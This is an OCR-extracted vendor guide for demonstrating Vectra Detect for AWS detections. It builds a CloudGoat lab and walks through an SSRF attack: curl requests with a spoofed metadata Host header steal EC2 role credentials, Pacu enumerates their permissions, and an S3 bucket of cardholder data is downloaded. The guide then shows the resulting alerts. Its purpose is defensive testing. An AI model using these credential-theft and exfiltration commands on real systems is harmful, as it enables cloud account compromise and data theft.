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Introduction

The Detect for AWS Detection Test Guide has been created to empower Vectra field staff and customers with
the option to show concrete Detect for AWS Detections in live environments when the situation calls for it. To
accomplish this objective, this document contains several test scripts, supporting resources, and associated
attacker narratives that provide context for both the value and means of test execution.

Test Composition

Overview

Test Requirements
Test Attack
Results

4 4 4 <«

Understanding of Detection Timing

To set expectations, customers should understand that Detect for AWS Detections will be published to their
SaaS Brain instance no later than 24 hours of the event(s) taking place that drove the Detection. The reason for
this is based on the reality that many SaaS services do not provide real time log data, and the timeliness of log
arrival is itself variable, unpredictable, and at times unreliable — in some cases, it is not uncommon for many
hours to pass from the time an event occurs to when the associated log is generated. Customers should
understand these timelines and have confidence that Vectra publishes Detections with timeliness, quality, and

reliability as first order objectives.
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Overview and Narrative

The attack by this test guide will alert security teams to organizational discovery of AWS services, suspicious
credential usage, and data exfil events from S3 buckets. In total (5) detections will be identified on the
account:

v AWS Organization Discovery- A credential was observed enumerating AWS Organization details.

¥ AWS User Permissions Enumeration- Control plane APIs associated with the reconnaissance of IAM
resources were invoked in a suspicious way that may be associated with a potential privilege escalation
attack.

v AWS Suspicious Credential Usage- A temporary credential generated by an EC2 instance in your
environment was observed attempting to access an AWS API from a source that is not EC2.

¥ AWS Suspicious EC2 Enumeration- Control plane APls associated with reconnaissance on EC2 resources
were invoked in a suspicious manner.

¥ AWS S3 Enumeration- Control plane APIs associated with the reconnaissance of S3 resources were
invoked in a suspicious manner.
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Lab Notes

v Setting up the AWS profile can vary based on organizational requirements. For instance, SSO would vary
between organizations.

Requirements
¥ AWS account with permissions to create resources
¥ Linux or MacOS. Windows is not covered by this test guide.
o If you are using Windows, we recommend install WSL2.
o If you are using a Linux virtual machine AWS EC2 is not supported.
o In this guide a new Ubuntu VM was created in VM Fusion. This guide covers setting up the Ubuntu
VM.
¥ Python3.6+ is required.
Terraform >= 0.14 installed and in your $PATH.
v The AWS CLlI installed and in your $PATH, and an AWS account with sufficient privileges to create and
destroy resources.

o AWS Named profile configured

|
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Build test machine
Install common packages

sudo apt-get update && sudo apt install -y ssh vim net-tools curl git python3-pip

Install awscli

Download the package

curl "hitps://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"

Unzip the installer

unzip awscliv2.zip

Run the install program

sudo ./aws/install

Install terraform

Terraform is used by Cloudgoat to create the vulnerable AWS infrastructure which we will use as a target for
our test.

Terraform Prerequisites

sudo apt-get update && sudo apt-get install -y gnupg software-properties-common

Add the HashiCorp GPG key
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -

Add the official HashiCorp Linux repository

sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(Isb_release -cs) main"
Update to add the repository, and install the Terraform CLI

sudo apt-get update && sudo apt-get install terraform
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Install Cloudgoat

CloudGoat is a tool used to deploy (and shutdown) a vulnerable set of AWS resources, designed to teach
AWS security risks created by Rhino Security Labs

Use git to clone the Cloudgoat repo to home directory and change to the new directory

git clone https://github.com/RhinoSecurityl abs/cloudgoat.git ~/cloudgoat && cd ~/cloudgoat

Install the Cloudgoat dependencies
pip3 install -r ./core/python/requirements.txt && chmod u+x cloudgoat.py

Install Pacu

Pacu is an AWS security-testing toolkit designed for offensive security practitioners created by Rhino Security
Labs

Use git to clone the Pacu repo to home directory and change to the new directory

git clone https://github.com/RhinoSecurityl abs/pacu.git ~/pacu && cd ~/pacu

Install the Pacu dependencies

pip3 install -r requirements.txt
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Configure an AWS Profile

Configure an AWS profile for use by Cloudgoat. This account will need admin access in AWS. You will be
prompted for Access Key ID, AWS Secret Access Key, Default region name, Default output format.

aws configure --profile cloudgoat

Export your new AWS profile

export AWS_PROFILE=cloudgoat

Verity credentials are working

aws sts get-caller-identity

I 8 $ aws configure ——profile cloudgoat
[AWS Access Key ID [skskskskkkkkkkkkkkkkBZRF]:
[AWS Secret Access Key [skkkkxxkxkskkkkkxkkkk75SU] :
[Default region name [us-west-2]:
[Default output format [jsonl]:
: $ export AWS_PROFILE=cloudgoat
$ aws sts get-caller-identity

"UserId": " H B H B ,

"Account": m EmE ®EH E'
"Arn": "arn:aws:iam H B H B Bl:yser/goat"

s il

Setup Cloudgoat

Run Cloudgoat config profile from home directory and set default profile. You will be prompted to enter an
AWS profile from the previous step which we called cloudgoat. This is how cloudgoat will access AWS.

~/cloudgoat/cloudgoat.py config profile

Run Cloudgoat config whitelist to add your external IP to the security group

~/cloudgoat/cloudgoat.py config whitelist --auto
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Create vulnerable infrastructure

Now that the tools and profile is setup we will use Cloudgoat to setup vulnerable infrastructure in AWS. This
will create a scenario with a misconfigured reverse-proxy server in EC2.

~/cloudgoat/cloudgoat.py create cloud_breach_s3

cloudgoat_output_aws_account_id = W ||
cloudgoat_output_target_ec2_server_ip = "34.200.231.9"

[cloudgoat] terraform apply completed with no error code.
[cloudgoat] terraform output completed with no error code.
cloudgoat_output_aws_account_id = &= = =
cloudgoat_output_target_ec2_server_ip = 34.200.231.9
[cloudgoat] Output file written to:

/home/demo/cloudgoat/cloud_breach_s3_cgidhbqyx15412/start.txt

s i

Copy the response to a text file. You will need the EC2 IP

Start test

At this point we have created vulnerable infrastructure in AWS using Cloudgoat. Starting as an anonymous
outsider with no access or privileges, exploit a misconfigured reverse-proxy server to query the EC2 metadata
service and acquire instance profile keys. Then, use those keys to discover, access, and exfiltrate sensitive data
from an S3 bucket.

Get Role Name

Replace <ec2-ip-address> with the IP address from the previous step to get a role name.
curl -s http.//<ec2-ip-address>/latest/meta-data/iam/security-credentials/ -H 'Host:169.254.169.254'

[demoQRubuntu: $ curl -s http://34.200.231.9/1latest/meta—-data/iam/security—-credentials/ —HE'Host:169.2
54 169 . 2R4"

cg-banking-WAF-Role-cloud_breach_s3_cgidhbqyx15412flemo@ubuntu: s i

Copy the response to a text file. You will need the role
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Get Credentials

Replace <ec2-ip-address> and <ec2-role-name> from the previous steps to get the keys.

curl -s http.//<ec2-ip-address>/latest/meta-data/iam/security-credentials/<ec2-role-name> -H 'Host:169.254.169.254'

$ curl —s http://34.200.231.9/latest/meta—data/iam/security—credentials/cé-banking-WAF-]

Role-cloud_ breach s3_cgidhbqyx15412 -H 'Host:169.254.169.254"'
{

"Code" : "Success",

"LastUpdated" : "2022-01-31T17:28:42Z",

"Type" : "AWS-HMAC",

"AccessKeyId" : "N HE R

"SecretAccessKey" ! mass— =

"Token" : HEEN N | |

HE B
- I 1 .D 1 Il n 1 .l 1 |
A BN E EEE B = ] H E N ‘ HE EEm
"Expiration" : "2022—02—31T00:04:362“
} u: $

Copy response to text file. You will use the stolen credentials
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Pacu Discovery

Next we will use pacu to do discovery with the stolen credentials
v Start pacu from the shell session by running ~/pacu/cli.py
¥ Create new session in pacu named cloud_breach_s3
v Set the keys using set_keys from the pacu session using the stolen credentials from the previous step

[Pacu (cloud_breach_s3:No Keys Set) > set_keys

Setting AWS Keys...

Press enter to keep the value currently stored.

Enter the letter C to clear the value, rather than set it.

If you enter an existing key_alias, that key's fields will be updated instead of added.

[Key alias [Nonel: ssrf ]
[Access key ID [Nonel: C L ]
[Secret access key [Nonel: mmm H EE =m .| \
[Session token (Optional - for temp AWS keys only) [Nonel: HE = =m H EN ..

s "F ST IR " e ™k g™ ™
‘IllE BN = H EE § Em IIII. Hl En I.II I.I

: | I | | |
‘'l BN . H N " N | W | | I n H .

||
o ol T N D SR RET R "
Ml I ™™ 1A PR I R AR -

Keys saved to database.

Pacu (cloud_breach_s3:ssrf) > I

Pacu Results

Use pacu to start discovery using the following modules:
¥ run aws__enum_account Get account details: permission denied
¥ runiam__enum_permissions Get permissions for IAM entity: permission denied
¥ runiam__enum_users_roles policies_groups Get group polices for IAM entity: permission denied
¥ runiam__bruteforce_permissions Brute force for access to services: Success

The stolen credentials have full access to S3

[iam__bruteforce_permissions] iam__bruteforce_permissions completed.
[iam__bruteforce_permissions] MODULE SUMMARY:

Services:
Supported: ['ec2',K 's3', 'logs'l.
Unsupported: [1].
Unknown: 44.

44 allow permissions found.

44 unknown permissio

162 deny permissions found.

Pacu (cloud_breach_s3:ssrf) > l
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Data Exfi

Create a new aws profile with stolen credentials.

aws configure --profile cloud_breach_s3

v Set the AWS Access Key ID and AWS Secret Access Key using the stolen credentials

Set the “Default region” name and the “Default output” format to json

¥ Manually add the aws_session_token to the aws credentials file (use i for insert mode then esc :wq to save
and close)

<

vi ~/.aws/credentials

[cloudgoat]
aws_access_key_id = N BN = .

aws_secret_access_key = ~ N B e e N |

[cloud_breach_s3]

aws_access_key_id = 1 H H E Eu

aws_secret access key

aws_session_token = ] | | | .

"l A TP
T LLLE FTR
R e LT

L
HE N B

Use aws cli to list buckets the stolen credentials have access to.

aws s3 Is --profile cloud_breach _s3

[ $ aws s3 1ls —-profile cloud_breach_s3
2021-11-16 16 24:57 aws—-cloudtrail-logs-"iiE NN
2022-01-31 09:29:12 cg-cardholder-data-bucket-cloud-breach-s3-cgidhbqyx15412

2020-09-01 13:15:54 datadog-forwarderstack-t7cl71-forwarderzipsbucket-1sv0z208u6tx2
q s i

Download data from the cardholder-data bucket to local system home directory. Replace <bucket-
name> with the bucket to download data.

aws s3 sync s3://<bucket-name> ~/cardholder-data --profile cloud_breach_s3
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Data Exfi continued

Change to home directory and perform list to verify data was downloaded
cd && Is

$ cd && 1s

:~$ cd cardholder-data/

3 $ 1s
cardholder_data_primary.csv cardholder_data_secondary.csv cardholders_corporate.csv

s i

Remove vulnerable infrastructure

~/cloudgoat/cloudgoat.py destroy cloud_breach_s3

Attack had been completed
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Review in Detect for AWS

Vectra’s Al correlates threat behaviors to a host or account and prioritizes them into one of four severity
rankings: Critical, High, Medium, and Low. This ranking is based on Vectra’s scoring model’s understanding
of how aligned the collective attacker behaviors are to a real escalating attack. Security teams monitoring the
Vectra console should primarily base their judgment on which hosts or accounts to review first and based on
the calculated severity ranking. Accounts categorized as Critical or High severity have a high potential for
doing damage to business operations and exhibit behaviors associated with actively unfolding attacks
that warrant investigation. Accounts categorized as Low or Medium severity are exhibiting less directly
observed risks and can be leveraged for starting points in threat hunting efforts rather than immediate
investigation. In addition to the severity ranking, threat and certainty scores are calculated for each prioritized
account based on the correlated behaviors to enable finer-grain ordering. Detections also receive threat and
certainty scores that characterize detection-specific severities based on the threat of the associated behavior
and certainty of the underlying detection models. Details of how each detection’s threat and certainty are
calculated are presented on their respective detections one-pagers.

Our attack has generated a detection in the top half high quadrant.

X
@ Accounts

Severity: All » Status: Active  » Data Source: All 4 Assign: All 4 bo)

+Add Filter

0 o | 16 s O s

10 20 30 40 50 60 70 80 920 99
99

90
80

g 70

0 @ = mowwwmw Jus-east-1/ec2:i- 60

Threat

0a03ab8a03405192¢

Threat: 59 / Certainty: 30
Assignee: —

Latest Active Detections

TYPE THREAT CERTAINTY
AWS S3 Enumeration 40 40 20
AWS Suspicious EC2 Enumeration 40 40 0
AWS User Permissions Enumeration 40 40
AWS Organization Discovery 20 20

C aws Suspicious Credential Usage 70 50

6 Low 0 Accounts Accounts
. 4
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Review in Detect for AWS continued

Click on the account to view the detections and begin an investigation. In this view you can see several different
detections and get a preview of the events that occurred.

ﬂ LA P

= Actions (D Tag [£] Note [ Assign

Account Information Details Instant Investigation

EEEEL ot e EFAR TR TS | M ] €) threat 69  certainty 73 @

Timeline: 1D W2W 1M — Threat — Certainty
AWS Service (2)
Name: %5 " B0 " el Bl i @
Last Detected: Feb 8th 2022 17:25
Show Details
Feb3 19:00 Feb 4 900 Febs 19:00 Feb 6 19:00 Feb7 9:00 Feb s 19:00 Febs 19:00

Attack Phases

Expand All | Collapse All

e CATEGORY TYPE THREAT  CERTAINTY FIRST SEEN LASTSEEN v
’ ~ Recon AWS S3 Enumeration 40 40 Feb 8th 2022 17:25 Feb 8th 2022 17:25 Q0
@ Events GetBucketAcl, GetBucketLogging, GetBucke... AWS Regions us-west-2

Sources 71218120217 Description AWS control plane APIs associated with the...

AWS Accounts B ™ AT

User Agents [Boto3/11813 Python/3.810 Linux/513.0-28...

Investigate this account 1 hour before/after detection

v Recon AWS Suspicious EC2 Enumeration 50 S0 Feb8th202217:25 Feb8th202217:25 ¢
Events DescribeSecurityGroups AWS Regions us-east-1
Sources 71218120217 Description AWS control plane APIs associated with rec...
AWS Accounts Rp——
User Agents Boto3/11813 Python/3.810 Linux/513.0-28...

Investigate this account 1 hour before/after detection

v Cac AWS Suspicious Credential Usage 70 50 Feb 8th 2022 17:24 Feb 8th 2022 17:24 Q0
Events i ions, Descril AWS Regions us-east-1
Sources 71218120217 Description Atemporary credential generated by an EC.
AWS Accounts LI L P
User Agents Bot03/11813 Python/3.810 Linux/513.0-28...

Investigate this account 1 hour before/after detection

v Recon AWS User Permissions Enumeration 40 4 Feb8th202217:24 Feb8th202217:24 &)
Events ListGroups, ListUsers AWS Regions us-east-1
Sources 71218120217 Description AWS control plane APIs associated with the...
AWS Accounts WP
User Agents Boto3/11813 Python/3.810 Linux/513.0-28...

Investigate this account 1 hour before/after detection

v Recon AWS Organization Discovery 20 20 Feb 8th 2022 17:24 Feb 8th 2022 17:24 0
Events DescribeOrganization, ListAccountAliases AWS Regions us-east-1
Sources 71218120217 Description A credential was observed enumerating A...
AWS Accounts L .8
User Agents Bot03/11813 Python/3.810 Linux/513.0-28...

Investigate this account 1 hour before/after detection

Viewing 1-5 of 5
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Review in Detect for AWS continued

Click on an event to get more details such as a description of the detection, a full summary,

which includes access key ids and request parameters.

Accounl SENE" & Pl & " B
Data Source: demolab (aws)

\7 Triage (0) O Tag  [2] Note

Threat 40 / Certainty 40 @
Description

AWS control plane APIs associated with the
reconnaissance of S3 resources were invoked in a
suspicious manner.

Summary

Accoun'l SEEE" &F ="l & " B

Events: GetBucketAcl, GetBucketLogging, GetBucketR...

Number of Events: 3
Sources: 71.218120.217

AWS Accounts BRI u B
Identity Type: AWS Service ()

Assumed Roles (7) : Hia® "l w™ el "a

User Agents: [Boto3/11813 Python/3.810 Linux/513.0...

AWS Regions: us-west-2

Infographic
0 o 5]
e °— GFB
awss3
Attack Phase

AWS S3 Enumeration @

Reconnaissance

Timeline (Events)

Detect for AWS Detection

Test Guide

Febs 17:21 17:22 17:23 17:24

Recent Activity
Expand All | Collapse All

EVENT NAME (D SOURCE

<

GetBucketReplication 71.218120.217

Access Key ID () : ASIA432ZXFGB6RQIG7EV
AWS Accoun’ B #fa o™ ul™
AWS Region: us-west-2

Request Parameters (7)

{

Response Elements (7)

Error Code: ReplicationConfigurationNotFoundError
Error Message: The replication configuration was not found

Role Sequence (7)
"l 4. F:" " M=l FF
cg-banking-WAF-Role-cloud_breach_s3_cgidjSlgjoiwbz
User Agent

[Boto3/1.1813 Python/3.810 Linux/5.13.0-28-generic Botocore/1.2113]

» GetBucketLogging 71218120217

» GetBucketAcl 71.218120.217

17:26 1727 17:28 17:29 17:30

ASSUMED ROLE (2

cg-banking-WAF-Role-cloud_breach_s3_cgidjslgjotwbz

cg-banking-WAF-Role-cloud_breach_s3_cgidjslgjotwbz

cg-banking-WAF-Role-cloud_breach_s3_cgidjslgjotwbz

17:31

and a detailed event list

OO

TIMESTAMP v

Feb 8th 2022 17:25

Feb 8th 2022 17:25
Feb 8th 2022 17:25

Viewi
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Review in Detect for AWS continued

Vectra Instant Investigation empowers security teams to perform rapid investigations. It provides an instant view of
organized and categorized metadata in Detect for 0365 and Detect for AWS. This allows the security team to
perform their investigations in a single tool for rapid response.

Click on the Instate Investigation tab to review the instant view of what happened.

Q) can mmis pimrir/us-east-1/ec2:i-0a03ab8a03405192c @ theat 59 certainy 30 @

= Actions (D Tag  [£) Note [ Assign

Account Information Detections Details

04 Mar 2022 00:00 - 09 Mar 2022 23:59
AWS Service ()
Name: AWS™§ wul™=. la"/us-east-1/ec2:i-0a03... )
Last Detected: Mar 4th 2022 23:11

¥ Changes made to services

Show Details SERVICE CHANGED NUMBER OF CHANGES ¥ FROM T0

» logs.amazonaws.com 4 Mar 4th 2022 17:55 Mar 4th 2022 23:12
Attack Phases
» iam.amazonaws.com 3 Mar 4th 2022 18:36 Mar 4th 2022 22:59

@ Return to top ~ Viewing 1-2 of 2
@I ¥ Regions active
REGION ACTIONS ¥ FROM T0

» us-east-1 699 Mar 4th 2022 17:39 Mar 6th 2022 05:37
» us-east-2 104 Mar 4th 2022 17:55 Mar 4th 2022 23:11
Return to top Viewing 1-2 of 2

¥ Roles assumed

ROLE NUMBER OF TIMES ASSUMED v FROM T0

» arn:aws:iam:s ™™ a"role/cg- 76 Mar 4th 2022 17:43 Mar 6th 2022 05:37
banking-Real-WAF-Role-cgid-agroyz-0a5
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